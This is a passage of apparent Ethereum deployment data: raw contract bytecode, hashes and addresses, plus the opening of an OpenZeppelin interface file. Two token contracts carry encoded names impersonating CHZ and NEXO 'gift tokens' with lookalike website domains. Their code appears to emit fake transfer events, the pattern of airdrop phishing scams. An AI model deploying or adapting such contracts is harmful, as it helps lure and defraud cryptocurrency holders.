5ffd5b5f60028204905060018216806200033657607f821691505b6020821081036200034c576200034b620002f1565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620003b07fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000373565b620003bc868362000373565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f6200040662000400620003fa84620003d4565b620003dd565b620003d4565b9050919050565b5f819050919050565b6200042183620003e6565b6200043962000430826200040d565b8484546200037f565b825550505050565b5f90565b6200044f62000441565b6200045c81848462000416565b505050565b5b818110156200048357620004775f8262000445565b60018101905062000462565b5050565b601f821115620004d2576200049c8162000352565b620004a78462000364565b81016020851015620004b7578190505b620004cf620004c68562000364565b83018262000461565b50505b505050565b5f82821c905092915050565b5f620004f45f1984600802620004d7565b1980831691505092915050565b5f6200050e8383620004e3565b9150826002028217905092915050565b6200052982620002e7565b67ffffffffffffffff81111562000545576200054462000108565b5b6200055182546200031e565b6200055e82828562000487565b5f60209050601f83116001811462000594575f84156200057f578287015190505b6200058b858262000501565b865550620005fa565b601f198416620005a48662000352565b5f5b82811015620005cd57848901518255600182019150602085019450602081019050620005a6565b86831015620005ed5784890151620005e9601f891682620004e3565b8355505b6001600288020188555050505b505050505050565b6109b880620006105f395ff3fe608060405234801561000f575f80fd5b5060043610610091575f3560e01c80636a627842116100645780636a627842146100f957806370a082311461011557806395d89b4114610145578063a33b416614610163578063ea66696c1461017f57610091565b806306fdde031461009557806318160ddd146100b3578063313ce567146100d157806344df8e70146100ef575b5f80fd5b61009d61019b565b6040516100aa91906105be565b60405180910390f35b6100bb61022a565b6040516100c891906105f6565b60405180910390f35b6100d9610230565b6040516100e6919061062a565b60405180910390f35b6100f7610238565b005b610113600480360381019061010e91906106ae565b610254565b005b61012f600480360381019061012a91906106ae565b6102c1565b60405161013c91906105f6565b60405180910390f35b61014d61033d565b60405161015a91906105be565b60405180910390f35b61017d60048036038101906101789190610843565b6103cd565b005b61019960048036038101906101949190610843565b610491565b005b60605f80546101a9906108ca565b80601f01602080910402602001604051908101604052809291908181526020018280546101d5906108ca565b80156102205780601f106101f757610100808354040283529160200191610220565b820191905f5260205f20905b81548152906001019060200180831161020357829003601f168201915b5050505050905090565b60045481565b5f6001905090565b600160055f6101000a81548160ff021916908315150217905550565b8073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef64e8d4a510006040516102b6919061093c565b60405180910390a350565b5f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480610328575060055f9054906101000a900460ff165b61033457600254610336565b5f5b9050919050565b60606001805461034c906108ca565b80601f0160208091040260200160405190810160405280929190818152602001828054610378906108ca565b80156103c35780601f1061039a576101008083540402835291602001916103c3565b820191905f5260205f20905b8154815290600101906020018083116103a657829003601f168201915b5050505050905090565b806002819055505f5b825181101561048c578281815181106103f2576103f1610955565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161047791906105f6565b60405180910390a380806001019150506103d6565b505050565b806002819055505f5b825181101561052f578281815181106104b6576104b5610955565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161051a91906105f6565b60405180910390a3808060010191505061049a565b505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561056b578082015181840152602081019050610550565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61059082610534565b61059a818561053e565b93506105aa81856020860161054e565b6105b381610576565b840191505092915050565b5f6020820190508181035f8301526105d68184610586565b905092915050565b5f819050919050565b6105f0816105de565b82525050565b5f6020820190506106095f8301846105e7565b92915050565b5f60ff82169050919050565b6106248161060f565b82525050565b5f60208201905061063d5f83018461061b565b92915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61067d82610654565b9050919050565b61068d81610673565b8114610697575f80fd5b50565b5f813590506106a881610684565b92915050565b5f602082840312156106c3576106c261064c565b5b5f6106d08482850161069a565b91505092915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61071382610576565b810181811067ffffffffffffffff82111715610732576107316106dd565b5b80604052505050565b5f610744610643565b9050610750828261070a565b919050565b5f67ffffffffffffffff82111561076f5761076e6106dd565b5b602082029050602081019050919050565b5f80fd5b5f61079661079184610755565b61073b565b905080838252602082019050602084028301858111156107b9576107b8610780565b5b835b818110156107e257806107ce888261069a565b8452602084019350506020810190506107bb565b5050509392505050565b5f82601f830112610800576107ff6106d9565b5b8135610810848260208601610784565b91505092915050565b610822816105de565b811461082c575f80fd5b50565b5f8135905061083d81610819565b92915050565b5f80604083850312156108595761085861064c565b5b5f83013567ffffffffffffffff81111561087657610875610650565b5b610882858286016107ec565b92505060206108938582860161082f565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806108e157607f821691505b6020821081036108f4576108f361089d565b5b50919050565b5f819050919050565b5f819050919050565b5f61092661092161091c846108fa565b610903565b6105de565b9050919050565b6109368161090c565b82525050565b5f60208201905061094f5f83018461092d565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffdfea2646970667358221220061780c2a34c1b083fedffee07c4e435ac35893b3129b7932b8ded15c992790264736f6c63430008180033000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000020232043485a204769667420546f6b656e207c207468656368696c697a2e636f6d000000000000000000000000000000000000000000000000000000000000001e43485a204769667420546f6b656e207c207468656368696c697a2e636f6d0000 | 608060405234801561000f575f80fd5b5060043610610091575f3560e01c80636a627842116100645780636a627842146100f957806370a082311461011557806395d89b4114610145578063a33b416614610163578063ea66696c1461017f57610091565b806306fdde031461009557806318160ddd146100b3578063313ce567146100d157806344df8e70146100ef575b5f80fd5b61009d61019b565b6040516100aa91906105be565b60405180910390f35b6100bb61022a565b6040516100c891906105f6565b60405180910390f35b6100d9610230565b6040516100e6919061062a565b60405180910390f35b6100f7610238565b005b610113600480360381019061010e91906106ae565b610254565b005b61012f600480360381019061012a91906106ae565b6102c1565b60405161013c91906105f6565b60405180910390f35b61014d61033d565b60405161015a91906105be565b60405180910390f35b61017d60048036038101906101789190610843565b6103cd565b005b61019960048036038101906101949190610843565b610491565b005b60605f80546101a9906108ca565b80601f01602080910402602001604051908101604052809291908181526020018280546101d5906108ca565b80156102205780601f106101f757610100808354040283529160200191610220565b820191905f5260205f20905b81548152906001019060200180831161020357829003601f168201915b5050505050905090565b60045481565b5f6001905090565b600160055f6101000a81548160ff021916908315150217905550565b8073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef64e8d4a510006040516102b6919061093c565b60405180910390a350565b5f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480610328575060055f9054906101000a900460ff165b61033457600254610336565b5f5b9050919050565b60606001805461034c906108ca565b80601f0160208091040260200160405190810160405280929190818152602001828054610378906108ca565b80156103c35780601f1061039a576101008083540402835291602001916103c3565b820191905f5260205f20905b8154815290600101906020018083116103a657829003601f168201915b5050505050905090565b806002819055505f5b825181101561048c578281815181106103f2576103f1610955565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161047791906105f6565b60405180910390a380806001019150506103d6565b505050565b806002819055505f5b825181101561052f578281815181106104b6576104b5610955565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161051a91906105f6565b60405180910390a3808060010191505061049a565b505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561056b578082015181840152602081019050610550565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61059082610534565b61059a818561053e565b93506105aa81856020860161054e565b6105b381610576565b840191505092915050565b5f6020820190508181035f8301526105d68184610586565b905092915050565b5f819050919050565b6105f0816105de565b82525050565b5f6020820190506106095f8301846105e7565b92915050565b5f60ff82169050919050565b6106248161060f565b82525050565b5f60208201905061063d5f83018461061b565b92915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61067d82610654565b9050919050565b61068d81610673565b8114610697575f80fd5b50565b5f813590506106a881610684565b92915050565b5f602082840312156106c3576106c261064c565b5b5f6106d08482850161069a565b91505092915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61071382610576565b810181811067ffffffffffffffff82111715610732576107316106dd565b5b80604052505050565b5f610744610643565b9050610750828261070a565b919050565b5f67ffffffffffffffff82111561076f5761076e6106dd565b5b602082029050602081019050919050565b5f80fd5b5f61079661079184610755565b61073b565b905080838252602082019050602084028301858111156107b9576107b8610780565b5b835b818110156107e257806107ce888261069a565b8452602084019350506020810190506107bb565b5050509392505050565b5f82601f830112610800576107ff6106d9565b5b8135610810848260208601610784565b91505092915050565b610822816105de565b811461082c575f80fd5b50565b5f8135905061083d81610819565b92915050565b5f80604083850312156108595761085861064c565b5b5f83013567ffffffffffffffff81111561087657610875610650565b5b610882858286016107ec565b92505060206108938582860161082f565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806108e157607f821691505b6020821081036108f4576108f361089d565b5b50919050565b5f819050919050565b5f819050919050565b5f61092661092161091c846108fa565b610903565b6105de565b9050919050565b6109368161090c565b82525050565b5f60208201905061094f5f83018461092d565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffdfea2646970667358221220061780c2a34c1b083fedffee07c4e435ac35893b3129b7932b8ded15c992790264736f6c63430008180033 | |
1 | 19,493,916 | 77ee7c495e717bf21e6460c5a4770d0232f677c892d0aebccb7e4e2ea55aae5b | 2ee1c6782d8a2fc17fa41816cec9eee4237bdf1ba7cb66837ac9b404c995ed59 | 882f75c0497efb41e16aebf0b1183005677fcdb6 | 882f75c0497efb41e16aebf0b1183005677fcdb6 | 0563f082afdcc4455eac4eeb13bf51a3a2b13ac2 | 60806040525f60025573b62132e35a6c13ee1ee0f84dc5d40bad8d81520660035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f60055f6101000a81548160ff02191690831515021790555034801562000081575f80fd5b5060405162000fc838038062000fc88339818101604052810190620000a7919062000264565b815f9081620000b791906200051e565b508060019081620000c991906200051e565b506509184e72a000600481905550505062000602565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6200014082620000f8565b810181811067ffffffffffffffff8211171562000162576200016162000108565b5b80604052505050565b5f62000176620000df565b905062000184828262000135565b919050565b5f67ffffffffffffffff821115620001a657620001a562000108565b5b620001b182620000f8565b9050602081019050919050565b5f5b83811015620001dd578082015181840152602081019050620001c0565b5f8484015250505050565b5f620001fe620001f88462000189565b6200016b565b9050828152602081018484840111156200021d576200021c620000f4565b5b6200022a848285620001be565b509392505050565b5f82601f830112620002495762000248620000f0565b5b81516200025b848260208601620001e8565b91505092915050565b5f80604083850312156200027d576200027c620000e8565b5b5f83015167ffffffffffffffff8111156200029d576200029c620000ec565b5b620002ab8582860162000232565b925050602083015167ffffffffffffffff811115620002cf57620002ce620000ec565b5b620002dd8582860162000232565b9150509250929050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200033657607f821691505b6020821081036200034c576200034b620002f1565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620003b07fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000373565b620003bc868362000373565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f6200040662000400620003fa84620003d4565b620003dd565b620003d4565b9050919050565b5f819050919050565b6200042183620003e6565b6200043962000430826200040d565b8484546200037f565b825550505050565b5f90565b6200044f62000441565b6200045c81848462000416565b505050565b5b818110156200048357620004775f8262000445565b60018101905062000462565b5050565b601f821115620004d2576200049c8162000352565b620004a78462000364565b81016020851015620004b7578190505b620004cf620004c68562000364565b83018262000461565b50505b505050565b5f82821c905092915050565b5f620004f45f1984600802620004d7565b1980831691505092915050565b5f6200050e8383620004e3565b9150826002028217905092915050565b6200052982620002e7565b67ffffffffffffffff81111562000545576200054462000108565b5b6200055182546200031e565b6200055e82828562000487565b5f60209050601f83116001811462000594575f84156200057f578287015190505b6200058b858262000501565b865550620005fa565b601f198416620005a48662000352565b5f5b82811015620005cd57848901518255600182019150602085019450602081019050620005a6565b86831015620005ed5784890151620005e9601f891682620004e3565b8355505b6001600288020188555050505b505050505050565b6109b880620006105f395ff3fe608060405234801561000f575f80fd5b5060043610610091575f3560e01c80636a627842116100645780636a627842146100f957806370a082311461011557806395d89b4114610145578063a33b416614610163578063ea66696c1461017f57610091565b806306fdde031461009557806318160ddd146100b3578063313ce567146100d157806344df8e70146100ef575b5f80fd5b61009d61019b565b6040516100aa91906105be565b60405180910390f35b6100bb61022a565b6040516100c891906105f6565b60405180910390f35b6100d9610230565b6040516100e6919061062a565b60405180910390f35b6100f7610238565b005b610113600480360381019061010e91906106ae565b610254565b005b61012f600480360381019061012a91906106ae565b6102c1565b60405161013c91906105f6565b60405180910390f35b61014d61033d565b60405161015a91906105be565b60405180910390f35b61017d60048036038101906101789190610843565b6103cd565b005b61019960048036038101906101949190610843565b610491565b005b60605f80546101a9906108ca565b80601f01602080910402602001604051908101604052809291908181526020018280546101d5906108ca565b80156102205780601f106101f757610100808354040283529160200191610220565b820191905f5260205f20905b81548152906001019060200180831161020357829003601f168201915b5050505050905090565b60045481565b5f6001905090565b600160055f6101000a81548160ff021916908315150217905550565b8073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef64e8d4a510006040516102b6919061093c565b60405180910390a350565b5f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480610328575060055f9054906101000a900460ff165b61033457600254610336565b5f5b9050919050565b60606001805461034c906108ca565b80601f0160208091040260200160405190810160405280929190818152602001828054610378906108ca565b80156103c35780601f1061039a576101008083540402835291602001916103c3565b820191905f5260205f20905b8154815290600101906020018083116103a657829003601f168201915b5050505050905090565b806002819055505f5b825181101561048c578281815181106103f2576103f1610955565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161047791906105f6565b60405180910390a380806001019150506103d6565b505050565b806002819055505f5b825181101561052f578281815181106104b6576104b5610955565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161051a91906105f6565b60405180910390a3808060010191505061049a565b505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561056b578082015181840152602081019050610550565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61059082610534565b61059a818561053e565b93506105aa81856020860161054e565b6105b381610576565b840191505092915050565b5f6020820190508181035f8301526105d68184610586565b905092915050565b5f819050919050565b6105f0816105de565b82525050565b5f6020820190506106095f8301846105e7565b92915050565b5f60ff82169050919050565b6106248161060f565b82525050565b5f60208201905061063d5f83018461061b565b92915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61067d82610654565b9050919050565b61068d81610673565b8114610697575f80fd5b50565b5f813590506106a881610684565b92915050565b5f602082840312156106c3576106c261064c565b5b5f6106d08482850161069a565b91505092915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61071382610576565b810181811067ffffffffffffffff82111715610732576107316106dd565b5b80604052505050565b5f610744610643565b9050610750828261070a565b919050565b5f67ffffffffffffffff82111561076f5761076e6106dd565b5b602082029050602081019050919050565b5f80fd5b5f61079661079184610755565b61073b565b905080838252602082019050602084028301858111156107b9576107b8610780565b5b835b818110156107e257806107ce888261069a565b8452602084019350506020810190506107bb565b5050509392505050565b5f82601f830112610800576107ff6106d9565b5b8135610810848260208601610784565b91505092915050565b610822816105de565b811461082c575f80fd5b50565b5f8135905061083d81610819565b92915050565b5f80604083850312156108595761085861064c565b5b5f83013567ffffffffffffffff81111561087657610875610650565b5b610882858286016107ec565b92505060206108938582860161082f565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806108e157607f821691505b6020821081036108f4576108f361089d565b5b50919050565b5f819050919050565b5f819050919050565b5f61092661092161091c846108fa565b610903565b6105de565b9050919050565b6109368161090c565b82525050565b5f60208201905061094f5f83018461092d565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffdfea2646970667358221220ef8d510e080ae883859c2ab4ab85e39bb5cc5ea620285e77758b73052e35fd2764736f6c6343000818003300000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000001f23204e45584f204769667420546f6b656e207c206e65786f6875622e6f726700000000000000000000000000000000000000000000000000000000000000001d4e45584f204769667420546f6b656e207c206e65786f6875622e6f7267000000 | 608060405234801561000f575f80fd5b5060043610610091575f3560e01c80636a627842116100645780636a627842146100f957806370a082311461011557806395d89b4114610145578063a33b416614610163578063ea66696c1461017f57610091565b806306fdde031461009557806318160ddd146100b3578063313ce567146100d157806344df8e70146100ef575b5f80fd5b61009d61019b565b6040516100aa91906105be565b60405180910390f35b6100bb61022a565b6040516100c891906105f6565b60405180910390f35b6100d9610230565b6040516100e6919061062a565b60405180910390f35b6100f7610238565b005b610113600480360381019061010e91906106ae565b610254565b005b61012f600480360381019061012a91906106ae565b6102c1565b60405161013c91906105f6565b60405180910390f35b61014d61033d565b60405161015a91906105be565b60405180910390f35b61017d60048036038101906101789190610843565b6103cd565b005b61019960048036038101906101949190610843565b610491565b005b60605f80546101a9906108ca565b80601f01602080910402602001604051908101604052809291908181526020018280546101d5906108ca565b80156102205780601f106101f757610100808354040283529160200191610220565b820191905f5260205f20905b81548152906001019060200180831161020357829003601f168201915b5050505050905090565b60045481565b5f6001905090565b600160055f6101000a81548160ff021916908315150217905550565b8073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef64e8d4a510006040516102b6919061093c565b60405180910390a350565b5f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480610328575060055f9054906101000a900460ff165b61033457600254610336565b5f5b9050919050565b60606001805461034c906108ca565b80601f0160208091040260200160405190810160405280929190818152602001828054610378906108ca565b80156103c35780601f1061039a576101008083540402835291602001916103c3565b820191905f5260205f20905b8154815290600101906020018083116103a657829003601f168201915b5050505050905090565b806002819055505f5b825181101561048c578281815181106103f2576103f1610955565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161047791906105f6565b60405180910390a380806001019150506103d6565b505050565b806002819055505f5b825181101561052f578281815181106104b6576104b5610955565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161051a91906105f6565b60405180910390a3808060010191505061049a565b505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561056b578082015181840152602081019050610550565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61059082610534565b61059a818561053e565b93506105aa81856020860161054e565b6105b381610576565b840191505092915050565b5f6020820190508181035f8301526105d68184610586565b905092915050565b5f819050919050565b6105f0816105de565b82525050565b5f6020820190506106095f8301846105e7565b92915050565b5f60ff82169050919050565b6106248161060f565b82525050565b5f60208201905061063d5f83018461061b565b92915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61067d82610654565b9050919050565b61068d81610673565b8114610697575f80fd5b50565b5f813590506106a881610684565b92915050565b5f602082840312156106c3576106c261064c565b5b5f6106d08482850161069a565b91505092915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61071382610576565b810181811067ffffffffffffffff82111715610732576107316106dd565b5b80604052505050565b5f610744610643565b9050610750828261070a565b919050565b5f67ffffffffffffffff82111561076f5761076e6106dd565b5b602082029050602081019050919050565b5f80fd5b5f61079661079184610755565b61073b565b905080838252602082019050602084028301858111156107b9576107b8610780565b5b835b818110156107e257806107ce888261069a565b8452602084019350506020810190506107bb565b5050509392505050565b5f82601f830112610800576107ff6106d9565b5b8135610810848260208601610784565b91505092915050565b610822816105de565b811461082c575f80fd5b50565b5f8135905061083d81610819565b92915050565b5f80604083850312156108595761085861064c565b5b5f83013567ffffffffffffffff81111561087657610875610650565b5b610882858286016107ec565b92505060206108938582860161082f565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806108e157607f821691505b6020821081036108f4576108f361089d565b5b50919050565b5f819050919050565b5f819050919050565b5f61092661092161091c846108fa565b610903565b6105de565b9050919050565b6109368161090c565b82525050565b5f60208201905061094f5f83018461092d565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffdfea2646970667358221220ef8d510e080ae883859c2ab4ab85e39bb5cc5ea620285e77758b73052e35fd2764736f6c63430008180033 | |
1 | 19,493,917 | 5521f8a9092ca610428495aa3c8d03606ae1c5f7460852350e5a1469fba591d5 | 0fb8f3023bfec89f208bb89d9c67cf7559fd079731c7438a70aa5c5d74d3b5c9 | d4aa8e1ea7c165990cee3db889a3785dd40051c3 | 91e677b07f7af907ec9a428aafa9fc14a0d3a338 | fa6d3480aa7c0e5bd7de43ae46883d39ed41a1aa | 608060405260405161090e38038061090e83398101604081905261002291610460565b61002e82826000610035565b505061058a565b61003e83610100565b6040516001600160a01b038416907f1cf3b03a6cf19fa2baba4df148e9dcabedea7f8a5c07840e207e5c089be95d3e90600090a260008251118061007f5750805b156100fb576100f9836001600160a01b0316635c60da1b6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156100c5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100e99190610520565b836102a360201b6100291760201c565b505b505050565b610113816102cf60201b6100551760201c565b6101725760405162461bcd60e51b815260206004820152602560248201527f455243313936373a206e657720626561636f6e206973206e6f74206120636f6e6044820152641d1c9858dd60da1b60648201526084015b60405180910390fd5b6101e6816001600160a01b0316635c60da1b6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156101b3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101d79190610520565b6102cf60201b6100551760201c565b61024b5760405162461bcd60e51b815260206004820152603060248201527f455243313936373a20626561636f6e20696d706c656d656e746174696f6e206960448201526f1cc81b9bdd08184818dbdb9d1c9858dd60821b6064820152608401610169565b806102827fa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d5060001b6102de60201b6100641760201c565b80546001600160a01b0319166001600160a01b039290921691909117905550565b60606102c883836040518060600160405280602781526020016108e7602791396102e1565b9392505050565b6001600160a01b03163b151590565b90565b6060600080856001600160a01b0316856040516102fe919061053b565b600060405180830381855af49150503d8060008114610339576040519150601f19603f3d011682016040523d82523d6000602084013e61033e565b606091505b5090925090506103508683838761035a565b9695505050505050565b606083156103c65782516103bf576001600160a01b0385163b6103bf5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610169565b50816103d0565b6103d083836103d8565b949350505050565b8151156103e85781518083602001fd5b8060405162461bcd60e51b81526004016101699190610557565b80516001600160a01b038116811461041957600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b8381101561044f578181015183820152602001610437565b838111156100f95750506000910152565b6000806040838503121561047357600080fd5b61047c83610402565b60208401519092506001600160401b038082111561049957600080fd5b818501915085601f8301126104ad57600080fd5b8151818111156104bf576104bf61041e565b604051601f8201601f19908116603f011681019083821181831017156104e7576104e761041e565b8160405282815288602084870101111561050057600080fd5b610511836020830160208801610434565b80955050505050509250929050565b60006020828403121561053257600080fd5b6102c882610402565b6000825161054d818460208701610434565b9190910192915050565b6020815260008251806020840152610576816040850160208701610434565b601f01601f19169190910160400192915050565b61034e806105996000396000f3fe60806040523661001357610011610017565b005b6100115b610027610022610067565b610100565b565b606061004e83836040518060600160405280602781526020016102f260279139610124565b9392505050565b6001600160a01b03163b151590565b90565b600061009a7fa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50546001600160a01b031690565b6001600160a01b0316635c60da1b6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156100d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100fb9190610249565b905090565b3660008037600080366000845af43d6000803e80801561011f573d6000f35b3d6000fd5b6060600080856001600160a01b03168560405161014191906102a2565b600060405180830381855af49150503d806000811461017c576040519150601f19603f3d011682016040523d82523d6000602084013e610181565b606091505b50915091506101928683838761019c565b9695505050505050565b6060831561020d578251610206576001600160a01b0385163b6102065760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000060448201526064015b60405180910390fd5b5081610217565b610217838361021f565b949350505050565b81511561022f5781518083602001fd5b8060405162461bcd60e51b81526004016101fd91906102be565b60006020828403121561025b57600080fd5b81516001600160a01b038116811461004e57600080fd5b60005b8381101561028d578181015183820152602001610275565b8381111561029c576000848401525b50505050565b600082516102b4818460208701610272565b9190910192915050565b60208152600082518060208401526102dd816040850160208701610272565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220d51e81d3bc5ed20a26aeb05dce7e825c503b2061aa78628027300c8d65b9d89a64736f6c634300080c0033416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000005a2a4f2f3c18f09179b6703e63d9edd16590907300000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000 | 60806040523661001357610011610017565b005b6100115b610027610022610067565b610100565b565b606061004e83836040518060600160405280602781526020016102f260279139610124565b9392505050565b6001600160a01b03163b151590565b90565b600061009a7fa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50546001600160a01b031690565b6001600160a01b0316635c60da1b6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156100d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100fb9190610249565b905090565b3660008037600080366000845af43d6000803e80801561011f573d6000f35b3d6000fd5b6060600080856001600160a01b03168560405161014191906102a2565b600060405180830381855af49150503d806000811461017c576040519150601f19603f3d011682016040523d82523d6000602084013e610181565b606091505b50915091506101928683838761019c565b9695505050505050565b6060831561020d578251610206576001600160a01b0385163b6102065760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000060448201526064015b60405180910390fd5b5081610217565b610217838361021f565b949350505050565b81511561022f5781518083602001fd5b8060405162461bcd60e51b81526004016101fd91906102be565b60006020828403121561025b57600080fd5b81516001600160a01b038116811461004e57600080fd5b60005b8381101561028d578181015183820152602001610275565b8381111561029c576000848401525b50505050565b600082516102b4818460208701610272565b9190910192915050565b60208152600082518060208401526102dd816040850160208701610272565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220d51e81d3bc5ed20a26aeb05dce7e825c503b2061aa78628027300c8d65b9d89a64736f6c634300080c0033 | // SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (interfaces/draft-IERC1822.sol)
pragma solidity ^0.8.0;
/**
* @dev ERC1822: Universal Upgradeable Proxy Standard (UUPS) documents a method for upgradeability through a simplified
* proxy whose upgrades are fully controlled by the current implementation.
*/
interface IERC1822Proxiable {
/**
* @dev Returns the storage slot that the proxiable contract assumes is being used to store the implementation
* address.
*
* IMPORTANT: A proxy pointing at a proxiable contract should not be considered proxiable itself, because this risks
